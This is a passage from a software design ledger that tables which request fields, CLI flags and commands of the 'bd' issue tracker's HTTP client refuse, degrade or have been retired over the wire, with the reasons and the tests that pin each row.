conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-CreateDependency.ThreadID | refuse | `CreateDependency.ThreadID` | associating an edge with a discussion thread refuses | neither BatchCreateDependency nor CreateIssueDependency publishes a thread member (internal/httpapi/spec BatchCreateDependency) | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-CreateRequest.IDPrefix | refuse | `CreateRequest.IDPrefix` | overriding the prefix an explicit id is checked against refuses | createIssue publishes no `id_prefix`, and the omission is the SERVER's decision rather than a gap (internal/httpapi/create.go): the field exists because a workspace's own config.yaml prefix wins over the database's and only a local front door can read that file, so a remote caller's config.yaml describes a workspace this server does not serve. Publishing it would let a caller override the served workspace's prefix rule from outside it. Dropping it instead would check the id against the SERVER's prefix while the caller believed it was checked against theirs — the same request, two different answers to 'may this workspace mint this id' | D8 row 16 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-CreateRequest.Issue | refuse | `CreateRequest.Issue` | a create whose Issue populates any member outside the wire's twenty refuses, naming the member | createIssue publishes the whole create VOCABULARY — id, title, description, design, acceptance_criteria, notes, status, issue_type, priority, assignee, owner, estimated_minutes, external_ref, due_at, defer_until, sender, metadata, labels, ephemeral, no_history — and deliberately not the rest of a types.Issue: the creation stamp (created_at, created_by), because a caller-supplied creation time makes the row disagree with the journal entry that records it and re-dating history is what an import is for; and spec_id, await_*, mol_type, wisp_type, work_type, storage_class, source_*, pinned, is_template and the event quartet, which this surface publishes on no operation, read or write. ONE row rather than one per member for W-BatchCreateItem.Issue's reason — the reason is one reason — and exhaustiveness is held by the same REFLECTION over types.Issue, sharing the role-ignored table with the batch so the two operations cannot disagree about what the ROLE drops. Issue.Comments and Issue.Dependencies are not in this population: the role itself refuses them, so a local create fails too and this is validation rather than divergence | D8 row 16 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-CreateItem.Issue | refuse | `CreateItem.Issue` | a create ITEM whose Issue populates any member outside the wire's twenty refuses, naming the member | ApplyCreateItem publishes exactly createIssue's create vocabulary — id, title, description, design, acceptance_criteria, notes, status, issue_type, priority, assignee, owner, estimated_minutes, external_ref, due_at, defer_until, sender, metadata, labels, ephemeral, no_history — and deliberately not the rest of a types.Issue, for the reasons W-CreateRequest.Issue gives in full. It is a row of its OWN rather than a citation of that one because the operations are different: a caller auditing why their PLAN refuses must not be sent to a row about a single create, and the two can diverge the day either vocabulary moves. The partition itself is SHARED — one carried table, one role-ignored table, held against types.Issue by the same reflection — so they cannot disagree about what the wire carries or about what the role drops. Issue.Comments and Issue.Dependencies are not in this population and are refused as validation on both sides: edges in this role are ITEMS, so a create item has nowhere to put one at all | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-ApplyPatch.ParentID | refuse | `IssuePatch.ParentID` | a parent re-hang inside an update ITEM refuses, where the same member serves on updateIssue | ApplyPatchBody deliberately publishes no parent_id, and the absence is this operation's ONE-EDGE-ONE-SPELLING rule rather than a gap: a parent is a dep_add item of type parent-child, so the ORDER of every edge in a plan stays total and there is exactly one place an edge is written. The single patch has no ordering to express and publishes the member directly (W-IssuePatch.ParentID, retired by client wave ga-7i6by), which is why the same Go field is carried by one document and refused by the other. Refusing is not a loss of capability, only of spelling: a plan re-hangs a parent with a dep_add item, which is the atomic replacement in the position the caller declared it | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-IssuePatch.Labels | retired | `IssuePatch.Labels` | RETIRED — the whole ordered label edit crosses: `labels` replaces, `add_labels` adds, `remove_labels` removes | upstream #5510 published add_labels and remove_labels on IssuePatchBody and client wave ga-jpywb emits both, which is the retirement path this row named. The three travel as FLAT siblings where applyBatch nests them under one object, and the server assembles all three into ONE issueops.LabelPatch — so the algebra the role states (replace, then add, then remove; removal wins) is applied server-side and is never this client's to arrange. WHAT THE REFUSAL WAS PROTECTING is worth keeping after the refusal is gone: degrading an incremental edit onto the replace-only member would have meant reading the set, adding to it and writing it back, which silently drops any label another writer added in between. `bd label add` and every agent that tags work concurrently are exactly that caller, so the refusal was right for as long as the members did not exist — and it is the members that retire it, not a change of mind about the read-modify-write | D8 refuse-not-drop, open questions (tracked-refusal roadmap) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | + +## Command and flag refusals (D7) + +Whole commands, and the flag modes of served commands, that dispatch onto methods the wire does not carry. They refuse early — before RunE — in the user's own command/flag vocabulary. + +| ID | Kind | Field / flag | Divergence | Why | Spec | Pinned test | +|---|---|---|---|---|---|---| +| F-ready-explain | refuse | `--explain` | `bd ready --explain` refuses | it dispatches onto raw GetBlockedIssues/GetIssuesByIDs/GetDependencyCounts/DetectCycles, three of which are on the unsupported allowlist | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| F-ready-mol | refuse | `--mol` | `bd ready --mol` refuses | its molecule subgraph load reaches findHierarchicalChildren, an IDPrefix SearchIssues shape the parent-walk bridge cannot express (E-IssueFilter.noShape). GetDependencyRecords and GetDependentsWithMetadata, which the same load also calls, stopped being the blocker when ga-b8ddd.30 flipped them onto the wire | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| F-ready-gated | refuse | `--gated` | `bd ready --gated` refuses | it dispatches onto a filtered SearchIssues shape the bridge cannot express, plus GetDependents | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| F-show-thread | refuse | `--thread` | `bd show --thread` refuses | showMessageThread renders each reply's sender, recipient, body and timestamp off GetDependentsWithMetadata, but ga-b8ddd.30 flipped that read onto getIssue's include_dependents parameter, which carries the collectDependents SHALLOW projection (id/status/type/priority/title + edge type only, be-4d36f2). Those fields come back zeroed over http and zero-timestamp replies sort ahead of the root — a silent-wrong degrade the refuse-over-degrade doctrine forbids. Retires with a full-dependent wire shape, a server-side ask | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| F-show-refs | refuse | `--refs` | `bd show --refs` refuses | showIssueRefs's --json marshals the full GetDependentsWithMetadata rows, but the wire answers the same collectDependents shallow projection, so created_at/assignee/description come back zeroed and the JSON differs from a local workspace. The text render consumes only the shallow fields, but the flag cannot be split from its --json mode, so the whole flag refuses rather than serve a divergent JSON silently | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| F-show-children | refuse | `--children` | `bd show --children` refuses | showIssueChildren's --json marshals the full GetDependentsWithMetadata rows, the same collectDependents shallow projection as --refs, so created_at/assignee/description come back zeroed over http; `bd children` refuses as a whole command for the same reason | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| F-mol-ready | refuse | — | `bd mol ready` refuses | it is the same runMolReadyGatedCore body as `bd ready --gated` | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| F-blocked | refuse | — | `bd blocked` refuses | it is raw GetBlockedIssues, which is on the unsupported allowlist | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| F-count | retired | — | RETIRED — `bd count` is SERVED whole | it said the command refuses because "issueops.Counter has no wire operation; a counts operation is a filed upstream ask", and that ask was DELIVERED: upstream #5508 published countIssues, client wave ga-icks1 wired the Counter accessor, and `count` moved from httpRefusedCommands into httpServedCommands. D8 row 20 and docs/reference/http-workspaces.md have said so since; this row was the last place that did not. Every flag the command publishes reaches a wire member — the whole predicate, the six instant bounds, the three emptiness checks, --include-infra, and the five --by-* flags as the one group_by parameter — so there is no refused mode left to name either. HOW IT ROTTED IS THE PART WORTH KEEPING. Its pin was TestClassifiedRefusedCommandsRefuseBeforeTheOSSPreRun, which walks httpRefusedCommands and drives every entry. The moment `count` left that table the pin stopped covering this row — it stayed LIVE BY NAME, so the well-formedness gate that resolves PinnedBy to a real test kept passing, and DEAD BY COVERAGE, so nothing anywhere asserted the row's claim. A ledger row can be false for a whole wave under a green pin, which is what TestFRowsAgreeWithTheCommandClassification now makes impossible | D7 (RETIRED), D8 row 20 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| F-serve | refuse | — | `bd serve` refuses against an http workspace | the OSS classifier would happily serve it from the opened store, and a bd serve re-serving a remote bd serve is a proxy chain nobody designed: run serve where the database is | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| F-close | refuse | — | `bd close` is SERVED whole — single id, several ids and --claim-next — over issues:batchClose; it refuses only against a DOWN-LEVEL server that does not advertise issues.batchClose | the CLI's close front door routes every id, single-id included, through BatchCloser.CloseBatch, and Lifecycle.Close has zero CLI callers at tip. The wire now carries issues:batchClose, so the whole CloseBatchRequest — multi-item and the atomic ClaimNext included — is one wire call and one server-side transaction; nothing is composed or refused where the capability is present. Against a server too old to advertise issues.batchClose, servesBatchClose() reads the handshake snapshot and routes around the batch dial entirely, so no Preflight runs and no wire.ErrCapabilityAbsent is raised: the down-level leg's refuseUnservedCloseShape raises the STORE's own *ErrHTTPUnsupported (batchcloser.go), and cmd/bd's renderEscapedHTTPRefusal turns it into the capability-absent taxonomy (case 2) by scanning the served command's own capability list for the first token the server does not advertise — issues.batchClose, which is the token it then names to upgrade to. The single-item, no-ClaimNext shape still composes onto closeIssue in that down-level leg (see L18); the shapes that cannot compose refuse there. The item cap is L-close-cap | D8 row 17 (resolved, Wire), D9 L18, D9 L-close-cap | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| F-partial-id | refuse | — | partial-id resolution refuses with its own taxonomy text | SearchIssueIDs has no wire operation, and the client cannot tell a partial id from a full id that does not exist — so the refusal text covers both outcomes rather than falling through to a raw search error | D11 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | + +## Ready-request fields + +Members of the ready vocabulary the wire cannot express. + +| ID | Kind | Field / flag | Divergence | Why | Spec | Pinned test | +|---|---|---|---|---|---|---| +| E-ReadyRequest.MolType | refuse | `ReadyRequest.MolType` | a molecule-type restriction on ready work refuses | neither listReadyWork nor countReadyWork publishes a mol-type parameter, and the ready query applies molecule typing inside — so a dropped restriction would answer with the wider set of every molecule type | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ReadyRequest.Offset | refuse | `ReadyRequest.Offset` | a non-zero Offset on ready work refuses | the wire publishes no offset parameter, and the store-backed role refuses a non-zero Offset itself with a typed *ErrUnsupported. A ready request carries no keyset position, so there is no portable way to page ready work at all — a caller that must page pages a ListRequest instead | D9 L12, D7, D8, D12 | TestEncoderHonorsEveryTableDisposition | +| E-ReadyRequest.Brief | retired | — | RETIRED — the ready listing SENDS the projection; only the count still drops it | upstream #5586 published `brief` on GET /v0/beads/ready and GET /v0/beads/issues, which is the retirement path this row named. Both page encoders send the parameter now — readyTable, listTable and the ready bridge all map it — so the client asks for the projection it was handed and the server leaves the text columns unselected. The COUNT keeps the drop under E-ReadyRequest.Brief@countReadyWork, because countReadyWork publishes no such parameter and a cardinality has no rows to project. WHAT DID NOT RETIRE WITH IT IS THE WIRE HALF OF THE MARKER, and only that half: types.Issue.IsLitePartial is `json:"-"` and never crosses, so a projected page arrives on the transport byte-identical to a page of genuinely textless rows — the same absence getIssue's brief_deps carries, deferred upstream by #5549. THE CALLER-VISIBLE AMBIGUITY IS CLOSED, by client wave ga-f352s: `brief` is a parameter to the page decode rather than a field on anything, so httpReader hands it to wireRows (role_reader.go) and this client stamps IsLitePartial on every row of a page it ASKED to be projected — which is precisely what issueops.ListRequest.Brief's own leaf says a wire consumer distinguishes the two by — and never on a hydrated one. `bd list --long --brief` therefore prints "Description: (omitted by --brief)" over http exactly as it does locally, and TestHTTPCommentAndBriefRenderEndToEnd pins that line through the real binary | D9 (a degradation not in this table is a bug) | TestEncoderHonorsEveryTableDisposition | +| E-ReadyRequest.Brief@countReadyWork | degrade | `ReadyRequest.Brief` | the free-form-text projection is DROPPED on the COUNT, not refused: a cardinality has no rows to project | countReadyWork publishes no `brief` and answers a cardinality, so there is nothing to project: the parameter chooses what is HYDRATED and never which rows match, and a count reads neither. Dropping it is SkipLabels' and SkipCounts' argument exactly — the total is what it would have been — and refusing would make a performance flag a hard error on the one operation where it can cost nothing. The two page operations retired this drop and send the parameter; a caller that populates Brief for a count is asking a question a cardinality does not have | D9 (a degradation not in this table is a bug) | TestEncoderHonorsEveryTableDisposition | +| E-ReadyRequest.Limit@countReadyWork | refuse | `ReadyRequest.Limit` | a Limit on a ready COUNT refuses | countReadyWork publishes no limit parameter and ReadyCounter.CountReady refuses one itself: a cardinality has no page, and CountReady's identity with the listing it sizes stops being true the moment one is accepted. An explicit zero is refused with the rest — an unlimited count is the only kind there is | D9 L12, D7, D8, D8 row 2 | TestEncoderHonorsEveryTableDisposition | + +## List-request fields + +The listing publishes far more filters than the v0 wire does; every one the wire lacks refuses rather than dropping, because a dropped list filter widens the page invisibly. Two hydration opt-outs are dropped instead, with the argument for why that cannot be misread as a narrower or wider answer. + +| ID | Kind | Field / flag | Divergence | Why | Spec | Pinned test | +|---|---|---|---|---|---|---| +| E-ListRequest.TitleSearch | refuse | `ListRequest.TitleSearch` | a title search refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.SpecPrefix | refuse | `ListRequest.SpecPrefix` | a spec-id prefix restriction refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.IDFilter | refuse | `ListRequest.IDFilter` | an explicit id set on the LISTING refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml); the exact-ids question is getIssue's, reached through the SearchIssues bridge's exact-ids shape (D11), not through a listing filter | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.LabelPattern | refuse | `ListRequest.LabelPattern` | a glob label filter refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) — listReadyWork does publish label_pattern, which is exactly why the absence here has to refuse rather than fall through | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.LabelRegex | refuse | `ListRequest.LabelRegex` | a regex label filter refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) — as for LabelPattern, listReadyWork publishes label_regex and the listing does not | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.TitleContains | refuse | `ListRequest.TitleContains` | a title substring filter refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.DescContains | refuse | `ListRequest.DescContains` | a description substring filter refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.NotesContains | refuse | `ListRequest.NotesContains` | a notes substring filter refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.ExternalContains | refuse | `ListRequest.ExternalContains` | an external-ref substring filter refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.ExternalRef | refuse | `ListRequest.ExternalRef` | an exact external-ref filter refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.UpdatedAfter | refuse | `ListRequest.UpdatedAfter` | an updated-after bound refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) — only the created bounds are published | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.UpdatedBefore | refuse | `ListRequest.UpdatedBefore` | an updated-before bound refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) — only the created bounds are published | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.ClosedAfter | refuse | `ListRequest.ClosedAfter` | a closed-after bound refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.ClosedBefore | refuse | `ListRequest.ClosedBefore` | a closed-before bound refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.DeferAfter | refuse | `ListRequest.DeferAfter` | a defer-after bound refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.DeferBefore | refuse | `ListRequest.DeferBefore` | a defer-before bound refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.DueAfter | refuse | `ListRequest.DueAfter` | a due-after bound refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.DueBefore | refuse | `ListRequest.DueBefore` | a due-before bound refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.EmptyDesc | refuse | `ListRequest.EmptyDesc` | the empty-description predicate refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.NoAssignee | refuse | `ListRequest.NoAssignee` | the unassigned predicate refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) — listReadyWork publishes `unassigned`; the listing does not | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.NoLabels | refuse | `ListRequest.NoLabels` | the no-labels predicate refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.Priority | refuse | `ListRequest.Priority` | an exact priority filter refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) — listReadyWork publishes `priority`; the listing does not | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.PriorityMin | refuse | `ListRequest.PriorityMin` | a minimum-priority bound refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.PriorityMax | refuse | `ListRequest.PriorityMax` | a maximum-priority bound refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.PinnedFlag | refuse | `ListRequest.PinnedFlag` | selecting the pinned-FLAG rows refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml). The pinned STATUS is reachable through `status`; the flag is a separate predicate at any status and has no parameter | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.NoPinnedFlag | refuse | `ListRequest.NoPinnedFlag` | holding the unflagged predicate in place refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml). It changes nothing on a default listing and NARROWS under `all` or a pinned/hooked status — which is precisely when dropping it would widen the answer | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.ExcludeTypes | refuse | `ListRequest.ExcludeTypes` | a type exclusion refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) — listReadyWork publishes exclude_type; the listing publishes only the four include_* toggles | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.NoParent | refuse | `ListRequest.NoParent` | the top-level-only predicate refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.MolType | refuse | `ListRequest.MolType` | a molecule-type restriction refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.WispType | refuse | `ListRequest.WispType` | a wisp-type restriction refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml). The listing now ADMITS the wisp plane — include_ephemeral landed upstream and the encoder sends it (L1 retired) — so this refusal is no longer redundant with an invisible plane: it is the only thing standing between a caller and a listing that returns every wisp type when they named one | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.DeferredFlag | refuse | `ListRequest.DeferredFlag` | the deferred predicate refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.OverdueFlag | refuse | `ListRequest.OverdueFlag` | the overdue predicate refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml) | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.ReadyFlag | refuse | `ListRequest.ReadyFlag` | switching a listing onto the ready set refuses | ReadyFlag is not a filter but a change of QUESTION: it selects the blocker-aware ready query, which reads a narrower filter vocabulary than a ListRequest can describe. Over the wire that question is listReadyWork, a different operation with a different parameter table. Routing it there would have to decide, silently, which of this request's fields survive the crossing — so v1 refuses and the retirement path is an explicit route in the store, not a re-encode here | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.IncludeComments | refuse | `ListRequest.IncludeComments` | hydrating every row's comment bodies refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml). listIssues documents `comments` as always absent on its rows; a caller that needs an issue's comments reads getIssue with include_comments, one issue at a time | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.Offset | refuse | `ListRequest.Offset` | a non-zero Offset refuses | listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml). The portable page is the keyset position, which the pager walks (D8 row 1); the store-backed role refuses a non-zero Offset itself | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.SkipLabels | degrade | `ListRequest.SkipLabels` | the label-hydration opt-out is DROPPED, not refused: the wire hydrates labels either way | the listing publishes no hydration parameter, so the client cannot ask the server to skip the labels JOIN. Dropping it hands the caller MORE data than it asked for and never fewer — the row set, its order, Parent and the has-more verdict are exactly what they would have been — so it cannot be misread as a narrower or wider answer. It is a degradation rather than a refusal because refusing would make `bd list --skip-labels` a hard error for a performance flag whose only observable effect over http is that the server pays for a join. The retirement path is a hydration parameter on the wire | D9 (a degradation not in this table is a bug) | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.Brief | retired | — | RETIRED — `bd list` over http sends the projection | upstream #5586 published `brief` on GET /v0/beads/ready and GET /v0/beads/issues, which is the retirement path this row named. Both page encoders send the parameter now — readyTable, listTable and the ready bridge all map it — so the client asks for the projection it was handed and the server leaves the text columns unselected. The COUNT keeps the drop under E-ReadyRequest.Brief@countReadyWork, because countReadyWork publishes no such parameter and a cardinality has no rows to project. WHAT DID NOT RETIRE WITH IT IS THE WIRE HALF OF THE MARKER, and only that half: types.Issue.IsLitePartial is `json:"-"` and never crosses, so a projected page arrives on the transport byte-identical to a page of genuinely textless rows — the same absence getIssue's brief_deps carries, deferred upstream by #5549. THE CALLER-VISIBLE AMBIGUITY IS CLOSED, by client wave ga-f352s: `brief` is a parameter to the page decode rather than a field on anything, so httpReader hands it to wireRows (role_reader.go) and this client stamps IsLitePartial on every row of a page it ASKED to be projected — which is precisely what issueops.ListRequest.Brief's own leaf says a wire consumer distinguishes the two by — and never on a hydrated one. `bd list --long --brief` therefore prints "Description: (omitted by --brief)" over http exactly as it does locally, and TestHTTPCommentAndBriefRenderEndToEnd pins that line through the real binary | D9 (a degradation not in this table is a bug) | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.IncludeAllTypes | refuse | `ListRequest.IncludeAllTypes` | the never-hide-a-bead intent refuses | it is the UNION of four intents the wire does publish — include_templates, include_gates, include_infra, include_ephemeral — and encoding it as those four would be a client-side restatement of a union whose whole point is that a FIFTH suppression added to workapi is lifted by it automatically. The day that fifth lands, the restatement silently stops lifting it and the listing hides beads from a caller whose contract is that it hides none. Dropping it narrows the answer for the same reason, so it refuses until the wire publishes the intent itself | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | +| E-ListRequest.SkipCounts | degrade | `ListRequest.SkipCounts` | the cardinality-hydration opt-out is DROPPED, not refused: the wire hydrates the three counts either way | the same reasoning as SkipLabels, and here refusing would be actively wrong: EVERY text rendering of `bd list` sets SkipCounts (cmd/bd/list.go:284, and its proxied twin), so a refusal would kill the default listing over http. Dropping it means real counts arrive where zeros were expected, and a caller that must read a zero as UNKNOWN is safe reading a true count. The cost is the three aggregate joins — including the reverse-blocker one the embedded planner cannot index — paid on a page that prints none of them | D9 (a degradation not in this table is a bug) | TestEncoderHonorsEveryTableDisposition | + +## Query-request fields + +The boolean-query surface publishes almost its whole vocabulary; this is what is left over. + +| ID | Kind | Field / flag | Divergence | Why | Spec | Pinned test | +|---|---|---|---|---|---|---| +| E-QueryRequest.Offset | refuse | `QueryRequest.Offset` | a non-zero Offset on a boolean query refuses | queryIssues publishes no offset parameter — the document deliberately omits one, because the two database sources this server can be built on disagree about whether they can honor it — and the store-backed role refuses one uniformly | D9 L12, D7, D8 | TestEncoderHonorsEveryTableDisposition | + +## Search bridge / IssueFilter (D4, D11) + +The off-role SearchIssues bridge serves two shapes and no others: the exact-ids fast path and the parent descendant walk. Every other populated IssueFilter member is a filter the bridge would have to drop to answer, so it refuses. + +| ID | Kind | Field / flag | Divergence | Why | Spec | Pinned test | +|---|---|---|---|---|---|---| +| E-IssueFilter.Status | refuse | `IssueFilter.Status` | a populated IssueFilter.Status refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.Statuses | refuse | `IssueFilter.Statuses` | a populated IssueFilter.Statuses refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the 